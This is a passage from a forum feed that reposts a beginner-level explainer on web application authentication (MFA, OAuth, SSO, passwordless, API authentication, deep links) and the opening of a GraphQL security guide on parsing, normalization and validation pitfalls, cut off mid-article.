				Background
			</h1>

			<p>
				Take a moment and ask yourself, 10 years ago, which applications did you use that you still use today? Now think about how you authenticated to those apps, was Multifactor Authentication (MFA) an option? In recent years, authentication implementations have matured, for example many companies have made <a href="https://www.computerweekly.com/news/252500323/Google-to-introduce-mandatory-MFA-for-users" rel="external nofollow">MFA</a> mandatory. We will take a look why some of these changes have occurred and at application authentication more broadly. It’s useful to understand where we are today, how we got here, and where we may be in 10 years.
			</p>

			
				<div>
					 
				</div>
			
		</div>
	</div>


<p>
	<img alt="1*3Sxrexh8WiHxiPYqCcx6TA.png" data-ratio="81.00" width="421" src="https://miro.medium.com/max/526/1*3Sxrexh8WiHxiPYqCcx6TA.png" /> Web Authentication Authentication Explained
</p>

<h1>
	First Things First
</h1>

<p>
	Innovation is something that happens naturally and gradually for various problem/solution pairs. There are usually very passionate people on both ends of a problem. One end agitates the problem while the other end works to create or improve upon solutions. As this relates here, authentication is a vital function for nearly all consumer and business applications. To get to the heart of what authentication is, here is what we will we cover:
</p>

<ul>
	<li>
		What is authentication and how is it different from authorization?
	</li>
	<li>
		Why do we need multifactor authentication?
	</li>
	<li>
		How does “sign in with” work (hint: OAuth 2.0) and should you use it?
	</li>
	<li>
		What is Single Sign On (SSO)?
	</li>
	<li>
		What is Passwordless Authentication?
	</li>
	<li>
		What is API Authentication?
	</li>
	<li>
		Bonus: What are Deep Links?
	</li>
</ul>

<p>
	Let’s get to it!
</p>

<h1>
	What is Authentication and how is it different from Authorization?
</h1>

<p>
	Authentication vs Authorization — Simply put, Authentication is the process an application performs to verify an identity’s credentials are valid. If valid, the user or system will be moved onto the next step which is typically an authorization check. Authorization is distinctly different from authentication and is a process to determine if a valid identity has access to a specific resource.
</p>

<p>
	Typical Authentication Example — You must be thinking, well how does an application know who I am? Obviously, you would need to be registered with the application first. Here is a basic example: Let’s say you want to subscribe to a new online service that will send you a different jelly each month. You navigate to the website and select the “create a new account” option. You pick your username and then set a password. You will likely need to provide an email and prove ownership of it. There you have it, you now have a registered identity in the application and can further enter your personal information to receive your jelly each month.
</p>

<p>
	Passwords — These are secrets set for each unique identity of an application. The problem with passwords, and passcodes for that matter, is that they are set by humans and humans often will seek the path of least resistance. Think of a sticky note on your grandma’s monitor. Passwords often get reused across many applications, set so they are easier to remember, and stored in insecure locations. This is why a second factor in the authentication process has become commonplace (more on this next).
</p>


	<div>
		 
	</div>


<p>
	<img alt="1*GUoBcSgmYtjv9BBqhQPlRg.png" data-ratio="76.79" width="418" src="https://miro.medium.com/max/523/1*GUoBcSgmYtjv9BBqhQPlRg.png" /> Super Basic Web Authentication Flow with MFA
</p>

<p>
	Pro tip: Back to Authorization for a second. Authorization describes what access you have. So it’s important to remember that it’s not just “what you have access to” but also “what data you can leverage with the access”. Fetching a specific person’s name is different than being able to fetch every person’s name.
</p>

<h1>
	Why do we need MFA?
</h1>

<p>
	In 2012 and <a href="https://en.m.wikipedia.org/wiki/2012_LinkedIn_hack" rel="external nofollow">LinkedIn</a> reported one of the largest data breaches of the time occurred. Nearly 6.5 million passwords that they knew about became compromised. About 4 years later they discovered another 100 million were actually compromised. This was one of many credential breaches that can be searched on Troy Hunt’s <a href="https://haveibeenpwned.com/Passwords" rel="external nofollow">Have I Been Pwned</a> (HIBP) database of hundreds of millions of records. Unfortunately, this is just a fraction of the <a href="https://pentestmag.com/credential-stuffing-2022-the-latest-attack-trends-and-tools/" rel="external nofollow">billions</a> of leaked credentials floating out there. This has translated to a rise in <a href="https://owasp.org/www-community/attacks/Credential_stuffing" rel="external nofollow">credential stuffing attacks</a>, where a known set of credentials from a compromised service are used on a completely separate one. The industry is seeing <a href="https://securityintelligence.com/articles/credential-stuffing-attacks-2021/" rel="external nofollow">double digit</a> growth in these attacks each year. Companies and consumers are usually both on the losing end of these attacks.
</p>

<h2>
	What is MFA?
</h2>

<p>
	Multifactor Authentication (MFA) — Enter the obvious solution, <a href="https://support.microsoft.com/en-us/topic/what-is-multifactor-authentication-e5e39437-121c-be60-d123-eda06bddf661" rel="external nofollow">Multifactor Authentication</a> (MFA). MFA is a common technique to prevent attackers from gaining access to user accounts even if credentials (username+password) are known or guessed. The <a href="https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2016/03/time-rethink-mandatory-password-changes" rel="external nofollow">impact</a> of antiquated password policies has been known for a while and NIST is helping catch things up with their <a href="https://auth0.com/blog/dont-pass-on-the-new-nist-password-guidelines/" rel="external nofollow">800–63B publication</a>.
</p>

<p>
	The idea behind MFA is to use at least two different factors for authentication. The three common factors used for MFA:
</p>

<p>
	1) something you know, like a passcode, in addition to your password
</p>

<p>
	2) something you have, like a soft token (software on your phone) or <a href="https://www.yubico.com/solutions/multi-factor-authentication/" rel="external nofollow">hard token</a> (USB key)
</p>

<p>
	3) something you are, like a biometric (face, eye, finger, or speech).
</p>

<p>
	Current state of MFA — Back to 2012, there weren’t many companies actively considering implementing MFA. Yet, here we are 10 years later with near ubiquity around its adoption. We can partly attribute security breaches in widely used platforms like LinkedIn and games like <a href="https://www.cnet.com/tech/gaming/fortnite-had-a-security-vulnerability-that-let-hackers-take-over-accounts/" rel="external nofollow">Fortnite</a> for this. That of course doesn’t mean the end users are <a href="https://www.darkreading.com/operations/microsoft-multifactor-adoption-remains-low" rel="external nofollow">enabling it</a>. A simple <a href="https://trends.google.com/trends/explore?date=all&amp;geo=US&amp;q=%2Fm%2F05zybfn" rel="external nofollow">Google search trend analysis</a> would help illustrate interest in MFA over time.
</p>


	<div>
		<div>
			 
		</div>
	</div>


<p>
	<img alt="0*DTJJFkN3aOX1HT8_" data-ratio="85.71" width="875" src="https://miro.medium.com/max/875/0*DTJJFkN3aOX1HT8_" /> Source: Google Trends
</p>

<p>
	Challenges with MFA — We are in a far different spot because of the security events that have transpired over the past 10 years. Our guess is that many generations now know what MFA is and use it in some way today. MFA is here to stay for now and we will see it continue to evolve. A focus on a better end-user experience will be key to its increased adoption as other solutions like Passwordless mature. More on that later. That all said, with any technology, there are challenges. Here are a few with MFA to be aware of:
</p>

<ul>
	<li>
		Consumer Adoption — Despite the <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-blocked-billions-of-brute-force-and-phishing-attacks-last-year/" rel="external nofollow">billions</a> of brute force attacks happening each year, people still don’t think the risk/reward of enabling MFA makes sense.
	</li>
	<li>
		Phishing Scams/<a href="https://www.twilio.com/blog/smishing-sms-phishing" rel="external nofollow">Smishing</a> — There are nearly endless counts of phishing attempts happening each day. Attackers have kept up with advancements in security measures and still can convince users to provide their multifactor token. Obviously, never provide anyone with any authentication tokens or secrets.
	</li>
	<li>
		MFA Push Fatigue — Those using an authentication app that supports notifications for approving a login attempt are susceptible to this. It happens when an attacker has user credentials and they spam the user with MFA requests, in hopes they click approve to make the notifications go away.
	</li>
	<li>
		Device Compatibility — Not everyone has a smartphone and this means they can’t install an authentication app for soft tokens or MFA push notifications. This means SMS or a hard token are the only options which come with <a href="https://developer.okta.com/blog/2018/05/16/multifactor-authentication-4-challenges-faced-by-developers" rel="external nofollow">trade offs</a>.
	</li>
</ul>

<p>
	There is a wonderful list of scenarios maintained by <a href="https://pages.nist.gov/800-63-3/sp800-63b.html#sec8" rel="external nofollow">NIST</a> and some <a href="https://developer.okta.com/blog/2018/05/16/multifactor-authentication-4-challenges-faced-by-developers" rel="external nofollow">implementation guidance</a> by Okta for further reading.
</p>

<p>
	Pro tips:
</p>

<ul>
	<li>
		For the software developers and engineers potentially reading this: It’s easy to make something that should be simple, like authentication, complicated. Don’t make it complicated. Avoid adding any business logic in your Authentication flows. MFA bypasses based on a specific identity/username (think “testuser”) is a common mistake.
	</li>
	<li>
		Hardware tokens (something you have) remain one of the strongest multifactor solutions today but have a high operational overhead and can be lost. Pick where you want to use this based on risk.
	</li>
</ul>

<h1>
	How does “Sign In With” Work?
</h1>

<p>
	If you are reading this article, I would hazard a guess that you have seen “sign in with” on various websites.
</p>


	<div>
		 
	</div>


<p>
	<img alt="1*edeqRUdrFsr43RmtKrzAcg.png" data-ratio="102.81" width="606" src="https://miro.medium.com/max/758/1*edeqRUdrFsr43RmtKrzAcg.png" /> Medium’s Sign in with page
</p>

<p>
	Heck, even Medium has this feature. This is where you would use your already established identity with another application, such as <a href="https://developers.google.com/identity/gsi/web/guides/overview#:~:text=Sign%20In%20With%20Google%20helps,sign%20up%20and%20sign%20in." rel="external nofollow">Google</a>, Facebook, Apple, or the like, to authenticate to another application. This is possible because of widely adopted industry standards like <a href="https://oauth.net/2/" rel="external nofollow">OAuth2</a> and <a href="https://en.m.wikipedia.org/wiki/OpenID" rel="external nofollow">OIDC</a> which are used for authentication. It is worth noting that OAuth2 was purely designed as an authorization protocol and not authentication. These two terms are often confused. The kind folks in the OAuth2 community have done a fine job walking through this <a href="https://www.oauth.com/oauth2-servers/signing-in-with-google/" rel="external nofollow">here</a>.
</p>

<p>
	This sign in with capability is possible because you are authenticating once with your Google account and then establishing a trust relationship between Google and whatever the third party application is to allow access (authorized) to that application post-authentication.
</p>


	<div>
		<div>
			 
		</div>
	</div>


<p>
	<img alt="0*9QAStKgpjvRr56UK" data-ratio="31.34" width="801" src="https://miro.medium.com/max/875/0*9QAStKgpjvRr56UK" /> Super Basic “Sign In With” Flow
</p>

<p>
	Is it safe? — Generally, yes, it’s safe when <a href="https://www.oauth.com/oauth2-servers/map-oauth-2-0-specs/" rel="external nofollow">implemented</a> correctly, however there are a large quantity of <a href="https://datatracker.ietf.org/doc/html/rfc6819" rel="external nofollow">threat</a> scenarios to consider which unfortunately manifest in the real world (<a href="https://payatu.com/blog/anubhav.singh/oauth-vulnerabilities" rel="external nofollow">1</a>) (<a href="https://medium.com/@sharp488/2fa-bypass-via-google-identity-oauth-login-6c991ac837af" rel="external nofollow">2</a>) (<a href="https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/" rel="external nofollow">3</a>). One of the biggest issues in these flows is the <a href="https://portswigger.net/web-security/oauth#unverified-user-registration" rel="external nofollow">implicit trust</a> that sign in providers have, meaning applications generally trust the data in Google/Facebook/Apple to be true and accurate.
</p>

<p>
	The implementation isn’t just the only thing to be concerned with but the permissions across the two systems is also important. The service you are looking to sign in to may request access to your personal data, so look out for what applications are requesting. You should also periodically review and prune based on usage.
</p>

<h1>
	What is Single Sign On (SSO)?
</h1>

<p>
	Hopefully you have read the previous section about “sign in with”. The concept is quite similar, but usually in practice Single Sign On (SSO) uses a different protocol, called <a href="https://en.m.wikipedia.org/wiki/SAML_2.0" rel="external nofollow">SAML 2.0</a>, to perform the authentication between the identity provider, idP, (Google in the previous section) and the service provider, SP, (third party application you want to access).
</p>

<p>
	SAML 2.0 is very similar in concept to OAuth 2.0 in that it requires an exchange of identity information between trusted parties. applications. If you want your users to have accounts on many different services, and selectively grant access to various applications, use OAuth (application focused).
</p>

<p>
	SSO is usually employed for business to business applications. This enables business users to maintain a single account and access many applications with it. There are quite large organizations that specialize in SSO as a product. One of the biggest is Okta.
</p>


	<div>
		 
	</div>


<p>
	<img alt="0*36khKH8Xqcx-tz4b" data-ratio="41.65" width="581" src="https://miro.medium.com/max/726/0*36khKH8Xqcx-tz4b" /> Super Basic SSO SAML Flow
</p>

<p>
	Pro Tip: Many businesses have decided to charge for SSO, despite it being an implementation of an industry standard. Feel free to peruse some known companies that do this at <a href="https://sso.tax/" rel="external nofollow">https://sso.tax/</a>.
</p>

<h1>
	What is Passwordless Authentication?
</h1>

<p>
	The concept of “Passwordless” authentication is to use a non-password factor (see above in the MFA section for the list of common factors) as your primary factor for authentication instead of a password. In movies this is often a retinal scan, because it looks cool. In reality, there is <a href="https://support.apple.com/guide/iphone/sign-in-with-passkeys-iphf538ea8d0/ios" rel="external nofollow">Apple PassKey</a> which is now accepted as a primary factor for consumers. This is indeed a strong way to ensure the requesting user owns the credentials being provided to the system. However, there are some drawbacks with this.
</p>

<p>
	Currently, there is a very high and difficult bar to implement passwordless authentication at scale. The cost benefit analysis tips towards those with lots of privileged access in organizations, similar to hard tokens. Furthermore, the most likely passwordless factor is biometric, which raises privacy, accuracy, data storage concerns. A human’s biometrics can’t be changed if compromised. Microsoft has a <a href="https://learn.microsoft.com/en-us/azure/active-directory/authentication/concept-authentication-passwordless" rel="external nofollow">detailed write up</a> on how their Passwordless implementation works, with pictures of course.
</p>

<p>
	The <a href="https://fidoalliance.org/" rel="external nofollow">FIDO (Fast IDentity Online) Alliance</a> is focused on helping with open authentication standards that reduce password based authentication. The <a href="https://www.w3.org/TR/webauthn-2/#webauthn-fido2-protocol" rel="external nofollow">FIDO2</a> standard incorporates the web authentication (WebAuthn) standard, which we have <a href="https://betterappsec.com/building-a-webauthn-click-farm-are-captchas-obsolete-bfab07bb798c" rel="external nofollow">written about on</a> this blog.
</p>

<p>
	Pro Tip: We think for consumers passwordless authentication is still over the horizon, though <a href="https://www.microsoft.com/security/blog/2021/09/15/the-passwordless-future-is-here-for-your-microsoft-account/" rel="external nofollow">Microsoft</a> is getting close. For business users, we think players in the space are getting close, but really for only specific and highly privileged users.
</p>

<h1>
	What is API Authentication?
</h1>

<p>
	Let’s first start with: What is an API — Back to the jelly of the month subscription application example again. Let’s assume that the jelly of the month service has a feature to enroll you into a jelly enthusiast weekly newsletter that is provided by a third party. In order to subscribe to the newsletter, the jelly website will pass your email address to an <a href="https://aws.amazon.com/what-is/api/" rel="external nofollow">API</a> (application programming interfaces) that the newsletter makes available. This API will validate the jelly of the month website using some form of authentication.
</p>


	<div>
		 
	</div>


<p>
	<img alt="0*pfboAHv0xkgzRXvx" data-ratio="39.76" width="591" src="https://miro.medium.com/max/739/0*pfboAHv0xkgzRXvx" /> Super Basic API Authentication Flow
</p>

<p>
	Amazon Web Services (AWS) is one of the most prolific examples of APIs we can think of. It is an immense collection of APIs that its customers can use, mainly through <a href="https://en.m.wikipedia.org/wiki/Hypertext_Transfer_Protocol" rel="external nofollow">HTTP</a>, which is core to the internet. These APIs are designed to be accessible to the public internet. While they may be open to the broader internet, they require an identity to access, unless a resource is explicitly made open, such as static images for a marketing website.
</p>

<p>
	OK, now onto API authentication…
</p>

<p>
	Basic Authentication — As indicated by its name, basic Authentication is <a href="https://swagger.io/docs/specification/2-0/authentication/basic-authentication/" rel="external nofollow">basic</a>. This means it’s a username and a password, that’s all. The username and password will be <a href="https://en.wikipedia.org/wiki/Base64" rel="external nofollow">base64</a> encoded and added as an HTTP header for the server to decode and validate. Note: Encoding is NOT encryption. This is why TLS (HTTPS) is important.
</p>

<p>
	OAuth 2.0 Access Tokens — As mentioned earlier, OAuth is a standard protocol used for authorization but in the case of APIs, used in a specific way in the authentication flow of APIs. OAuth has what is known as access tokens, also known as JWT <a href="https://jwt.io/introduction" rel="external nofollow">bearer tokens</a>, which are provided by an OAuth Authorization server. There is a wonderful post by <a href="https://nordicapis.com/oauth-a-breakdown-for-beginners/" rel="external nofollow">Nordic APIs</a> on how this all works. These tokens authorize a relying party to act on behalf of those for whom the token is issued to. They are frequently used to access user profile information such as the user’s name and email address.
</p>

<p>
	Mutual TLS (mTLS) — <a href="https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/" rel="external nofollow">mTLS</a> allows for each party in a connection, the client and the server, to verify each others’ identities. This form of Authentication leverages public key cryptography and the TLS encryption protocol. Trust is acquired from known certificate authorities. This differs from TLS where only the server provides its identity for verification by the client. More on the differences <a href="https://medium.com/double-pointer/ssl-vs-tls-vs-mtls-f5e836fe6b6d" rel="external nofollow">here</a>.
</p>

<p>
	Pro Tip: In practice you may see additional security controls placed on APIs, such as IP address or system based restrictions. This is not Authentication and should be treated as a secondary factor.
</p>

<h1>
	Bonus: What are Deep Links?
</h1>

<p>
	What happens when you try to access your email and you’re not logged in? You get redirected to the login page. After logging in, though, you are seamlessly redirected back to your email without having to manually navigate. How does this work? Enter deep links.
</p>

<p>
	Deep links — A service provider/relying party user experience implementation detail. They allow a user to be sent directly to a specific application and/or page post-Authentication. Deep links are not explicitly part of the Authentication specs we have discussed but all said specs have a means of supporting them via a pseudo-session state. In SAML2, this is the “RelayState” parameter. In OAuth2/OIDC, this is the “state” parameter. An identity provider or Authorization server will always send this value back to the service provider/relying party post-Authentication.
</p>

<p>
	Deep links are a type of link that sends users directly to an app instead of a website or a store. They are used to send users straight to specific in-app locations, saving users the time and energy locating a particular page themselves — significantly improving the user experience.
</p>

<p>
	Deep linking does this by specifying a custom URL scheme (iOS Universal Links) or an intent URL (on Android devices) that opens your app if it’s already installed. Deep links can also be set to direct users to specific events or pages, which could tie into campaigns that you may want to run.
</p>

<p>
	Pro tip: Deep Links and any Authentication flow for that matter can be fraught with <a href="https://www.rfc-editor.org/rfc/rfc6749#page-53" rel="external nofollow">security considerations</a> that need to be accounted for. Issues such as open redirects, cross site request Forgeries, and clickjacking are serious concerns with Authentication.
</p>

<h1>
	Takeaways
</h1>

<ol>
	<li>
		Authentication is a simple process to validate a registered identity within an application. There are a lot of security implications with getting authentication wrong, which is why getting it right is so important.
	</li>
	<li>
		Authorization is not authentication. It is the process to confirm an authenticated identity has access to something.
	</li>
	<li>
		Passwords alone are no longer adequate to keep applications secure. MFA is here to stay for now and needs serious consideration by those companies who haven’t implemented it yet. For the strongest MFA today, use a hard token, but know that comes at a high management cost.
	</li>
	<li>
		There is a lot of behind the scenes magic that happens to make authentication as frictionless as possible. The use of “sign in with” and Single Sign On (SSO) are becoming more widely adopted, which is fine, but be sure you review the permissions and data of each application.
	</li>
	<li>
		We are eager for a phishing resistant and passwordless authentication solution, but there are a lot of challenges ahead to finding the right balance between cost and reward. Innovations that are happening today with <a href="https://fidoalliance.org/fido2/" rel="external nofollow">FIDO2</a>, <a href="https://www.w3.org/TR/webauthn-2/" rel="external nofollow">Web Authn</a>, and privacy standards are beginning to help.
	</li>
	<li>
		Even more complicated authentication work flows, like deep links, make it convenient for the end user to get to resources but can be vulnerable to many different issues. For the security practitioners reading, we recommend you find the time reviewing your company’s authentication implementations.
	</li>
</ol>

<h1>
	Words of Wisdom
</h1>

<p>
	Authentication isn’t something we simply can’t ignore. Despite the collective decades of experience implementing and securing Authentication for companies, we remain with a feeling of continued curiosity as it evolves over time.
</p>

<blockquote>
	<p>
		The only true wisdom is in knowing you know nothing. — Socrates
	</p>
</blockquote>

<h1>
	Contributions and Thanks
</h1>

<p>
	A special thanks to those who helped peer review and make this post as useful as it is: <a href="https://www.linkedin.com/in/marshallhallenbeck/" rel="external nofollow">Marshall Hallenbeck</a>, <a href="https://www.linkedin.com/in/keshav-malik/" rel="external nofollow">Keshav Malik</a>, <a href="https://www.linkedin.com/in/abhishekpatole/" rel="external nofollow">Abishek Patole</a>, <a href="https://www.linkedin.com/in/evan-helbig/" rel="external nofollow">Evan Helbig</a>, <a href="https://www.linkedin.com/in/sherpa/" rel="external nofollow">Byron Arnao</a>, <a href="https://www.linkedin.com/in/seanmcconnell1/" rel="external nofollow">Sean McConnell</a>,<a href="https://medium.com/@bored.engineer" rel="external nofollow"> Luke Young</a>, and <a href="https://www.linkedin.com/in/anand-vemuri-34801558/" rel="external nofollow">Anand Vemuri</a>.
</p>

<p>
	A special thanks to you, the reader. We hope you benefited from it in some way and we want everyone to be successful at this. While these posts aren’t a silver bullet, we hope they get you started.
</p>

<p>
	Please do follow our page if you enjoy this and our other posts. More to come!
</p>

<p>
	 
</p>

<p>
	Sursa: <a href="https://betterappsec.com/a-medium-dive-into-web-application-authentication-342d1d002a61" rel="external nofollow">https://betterappsec.com/a-medium-dive-into-web-application-authentication-342d1d002a61</a>
</p>
]]></description><guid isPermaLink="false">115999</guid><pubDate>Mon, 14 Nov 2022 20:31:01 +0000</pubDate></item><item><title>The complete GraphQL Security Guide</title><link>https://rstforums.com/forum/topic/115995-the-complete-graphql-security-guide/</link><description><![CDATA[
	<h1>
		The complete GraphQL Security Guide: Fixing the 13 most common GraphQL Vulnerabilities to make your API production ready
	</h1>


<div>
	<div>
		<img alt="cover" srcset="/_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=640&amp;q=100 640w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=750&amp;q=100 750w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=828&amp;q=100 828w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=1080&amp;q=100 1080w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=1200&amp;q=100 1200w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=1920&amp;q=100 1920w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=2048&amp;q=100 2048w, /_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=3840&amp;q=100 3840w" src="https://wundergraph.com/_next/image?url=%2Fimages%2Fblog%2Flight%2Fhow_to_make_graphql_secure.png&amp;w=3840&amp;q=100" />
	</div>

	<div>
		<div>
			<div>
				<a href="https://twitter.com/jensneuse_de" rel="external nofollow"><img alt="Jens Neuse" data-ratio="100.00" title="Jens Neuse" src="https://avatars.githubusercontent.com/u/11737109?v=4" /></a>
			</div>

			<div>
				<p>
					Jens Neuse
				</p>

				<div>
					2021-09-01·26min read
				</div>
			</div>
		</div>

		<div>
			
		</div>
	</div>
</div>

<div>
	
		<div>
			<div>
				<p>
					WunderGraph Cloud Early Access
				</p>

				<div>
					<p>
						Before we get into the blog post. WunderGraph Cloud is being released very soon. We’re looking for Alpha and Beta testers for WunderGraph Cloud.<br />
						 
					</p>
				</div>
			</div>
		</div>

		<p>
			It's 2021, GraphQL is on its rise to become a <a href="https://trends.google.com/trends/explore?date=2014-01-01%202021-08-30&amp;q=%2Fg%2F11cn3w0w9t,%2Fm%2F010ppjcy" rel="external nofollow">big player in the API Ecosystem </a>. That's perfect timing to talk about how to make your GraphQL APIs secure and ready for production.
		</p>

		<p>
			So here's my thesis: GraphQL is inherently insecure. I'll prove this throughout the article and propose solutions. One of the solutions will require some radical change in the way we're thinking about GraphQL, but it will come with a lot of benefits that go way beyond just security.
		</p>

		<blockquote>
			<p>
				If you pick a random GraphQL framework and run it with default settings in production, disaster is waiting to happen.
			</p>
		</blockquote>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#the-13-most-common-graphql-vulnerabilities" rel="external nofollow">The 13 most common GraphQL Vulnerabilities</a>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#1.-parsing-a-graphql-operation-vs.-parsing-a-url" rel="external nofollow">1. Parsing a GraphQL Operation vs. parsing a URL</a>

		<p>
			Why? Why is GraphQL so much more vulnerable than e.g. REST? Let's compare a URL against a GraphQL Operation. According to Wikipedia, the concept of the URL was first published in 1994, that's 27 years ago. If we search the same source for the birth of GraphQL, we can see, it's Sep 2014, around 7 years old.
		</p>

		<p>
			This gives parsing URLs an advantage of 20 years over parsing GraphQL Operations. Quite the headstart!
		</p>

		<p>
			Next, let's have a look at the antlr grammar for both.
		</p>

		<p>
			The grammar for <a href="https://github.com/antlr/grammars-v4/blob/master/url/url.g4" rel="external nofollow">parsing a URL </a> is 86 lines. The grammar for <a href="https://github.com/antlr/grammars-v4/blob/master/graphql/GraphQL.g4" rel="external nofollow">parsing a GraphQL document </a> is 325 lines.
		</p>

		<p>
			So, it's fair to say that the GraphQL language is around 4 times more complex than the one defining a URL. If we factor in both variables, it's obvious that there must be a lot more experience and expertise in parsing URLs than parsing GraphQL operations.
		</p>

		<p>
			But why is this even a problem? Recently, a friend of mine <a href="https://github.com/StarpTech/graphql-parser-bench" rel="external nofollow">analyzed some popular </a> libraries to see how fast they are in parsing GraphQL queries. It made me happy to see that my own library was <a href="https://github.com/jensneuse/graphql-go-tools" rel="external nofollow">performing quite well </a>. At the same time, I was surprised that some libraries didn't accept the test Operations while other were able to parse them.
		</p>

		<p>
			What does this mean for us? The person who performed the benchmarks hand-picked a number of GraphQL libraries and ran a few benchmarks. This was enough to find some bugs. What if we picked all GraphQL libraries and frameworks and test them against numerous GraphQL Operations?
		</p>

		<p>
			Keep in mind that we're still talking about simply parsing the Operations. What if we add building a valid AST into the equation? What if we add executing the Operations as well? We almost forgot about validating Operations, a topic in itself.
		</p>

		<p>
			A few years ago, there was a small group of people who started an amazing open source project: CATS The <a href="https://github.com/graphql-cats/graphql-cats" rel="external nofollow">GraphQL Compatibility Acceptance Test </a>. It's quite a mouthful, but the idea is brilliant. The idea was to build a tool so that different GraphQL implementations can prove that they work as intended. Unfortunately, the project's last commit is from 2018.
		</p>

		<p>
			Alright, parsing a URL seems simple and well understood. Parsing GraphQL Operations is a nightmare. You should not trust any GraphQL library without heavy testing, including fuzzing.
		</p>

		<p>
			We're all humans. Building a GraphQL library is complex. I'm the <a href="https://github.com/jensneuse/graphql-go-tools" rel="external nofollow">owner of an implementation written in Go </a>. It's no easy, it's a lot of code. A lot of code means, a lot of potential for bugs.
		</p>

		<p>
			And don't get me wrong, this is not about hand-written parsers vs. generated parsers from a grammar. Turning a string into an AST is just one small piece of the puzzle. There's plenty of opportunities left for bugs.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#2.-normalizing-graphql-queries-can-potentially-leak-fields" rel="external nofollow">2. Normalizing GraphQL Queries can potentially leak fields</a>

		<p>
			You don't have to normalize a URL. If you can parse it in your language of choice, it's valid, otherwise it's not.
		</p>

		<p>
			A different story with GraphQL. Here's an example:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>

							<div>
								11
							</div>

							<div>
								12
							</div>

							<div>
								13
							</div>

							<div>
								14
							</div>

							<div>
								15
							</div>

							<div>
								16
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											foo
										</div>

										<div>
											foo: foo
										</div>

										<div>
											... {
										</div>

										<div>
											foo
										</div>

										<div>
											... {
										</div>

										<div>
											foo
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											... @include(if: true){
										</div>

										<div>
											foo
										</div>

										<div>
											}
										</div>

										<div>
											...@skip(if: false){
										</div>

										<div>
											foo
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			A lot of foo! Let's normalize the Query.
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{foo}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			That's a lot less foo, nice! I could have made it more complicated with more fragments, nesting, etc... What's the point?
		</p>

		<p>
			How can we prove that all libraries and frameworks normalize the Query correctly? What happens if something goes wrong here? It might give an attacker an opportunity to ask for fields which he/she is not allowed to use. Maybe there's a hidden field and by wrapping it with a weird inline fragment @skip combo, we're able to query it.
		</p>

		<p>
			As long as we're not able to prove that it's impossible, I'd consider it's possible, prove me wrong!
		</p>

		<p>
			To summarize: No Normalization for URLs. More nightmares for GraphQL.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#3.-graphql-operation-validation,-an-absolute-minefield" rel="external nofollow">3. GraphQL Operation Validation, an absolute minefield</a>

		<p>
			I've implemented GraphQL Operation validation myself. One of the <a href="https://github.com/jensneuse/graphql-go-tools/blob/master/pkg/astvalidation/astvalidation_test.go" rel="external nofollow">unit test files is more than 1000 LOC </a>. What I've done is, I copied the complete structure from the <a href="https://spec.graphql.org/June2018/" rel="external nofollow">GraphQL Specification </a> one by one and turned it into unit tests. There are various ways how this could go wrong. Copy &amp; paste Errors, general misunderstanding, implementing the logic to make the tests green while the logic is still wrong. There are a lot of pitfalls you could fall into.
		</p>

		<p>
			Other libraries and frameworks are probably taking different approaches. You could also copy the tests from the <a href="https://github.com/graphql/graphql-js" rel="external nofollow">reference implementation </a>, but that's also no guarantee that the logic is 100% correct.
		</p>

		<p>
			Again, as we don't have a project like CATS anymore, we're not really able to prove if our implementations are correct. I hope, everybody is doing their best to get it right.
		</p>

		<p>
			Until then, don't trust any GraphQL validation library if you haven't tested it yourself. Use many Operations for testing.
		</p>

		<p>
			Summary: If a standard library can parse your URL, it's valid. If your library of choice validates a GraphQL Operation, you should still be cautious, especially when you're dealing with PII (personally identifiable information).
		</p>

		<p>
			At this point, we've probably passed a few bugs already by passing our request through the parser, normalization and validation. The real trouble is still ahead of us, executing the Operation.
		</p>

		<p>
